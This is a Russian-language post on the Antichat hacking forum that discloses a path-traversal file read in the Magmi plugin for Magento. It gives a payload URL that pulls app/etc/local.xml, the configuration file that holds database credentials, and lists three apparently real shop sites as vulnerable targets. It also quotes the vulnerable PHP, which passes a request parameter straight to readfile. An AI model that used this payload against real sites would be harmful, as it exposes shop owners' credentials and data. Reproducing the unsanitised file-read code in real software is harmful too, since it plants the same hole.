HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.02.2015, 21:44
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами: 10095779

Репутация: 137
По умолчанию

Локальня читалка Magento:

http://localhost/magmi/web/download_file.php?file=../../app/etc/local.xml

Пример уязвимых урлов:

Цитата:
Сообщение от None  
_http://bentextiles.com/magmi/web/download_file.php?file=../../app/etc/local.xml
_http://mengotti-online.com/shop/magmi/web/download_file.php?file=../../app/etc/local.xml
_http://www.lowellcraft.com/magmi/web/download_file.php?file=../../app/etc/local.xml
Уязвимый код:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"file"[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=@[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$err[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]error_get_last[/COLOR][COLOR="#007700"]();

if([/
COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"])

{

@[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]);

}

if([/
COLOR][COLOR="#0000BB"]$err[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#FF8000"]// Extract the type of file which will be sent to the browser as a header

[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]filetype[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);



[/COLOR][COLOR="#FF8000"]// Get a date and timestamp

[/COLOR][COLOR="#0000BB"]$today[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"F j, Y, g:i a"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]();



[/COLOR][COLOR="#FF8000"]// Send file headers

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Content-type:[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Content-Disposition: attachment;filename="[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Content-Transfer-Encoding: binary"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Pragma: no-cache'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Expires: 0'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// Send the file contents.

[/COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]readfile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

}

else

{

[/
COLOR][COLOR="#0000BB"]print_r[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$err[/COLOR][COLOR="#007700"]);

}[/
COLOR][/COLOR
P.S: В гугле по этой баге ничего не нашел.

P.S:

Обнаружил случайно в пакете с обновлением фикса баги

_http://www.exploit-db.com/exploits/35052/

сам фикс с багой, читалкой на гитхабе

https://github.com/dweeves/magmi-git Magento CE 1.8.x & 1.9.x
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.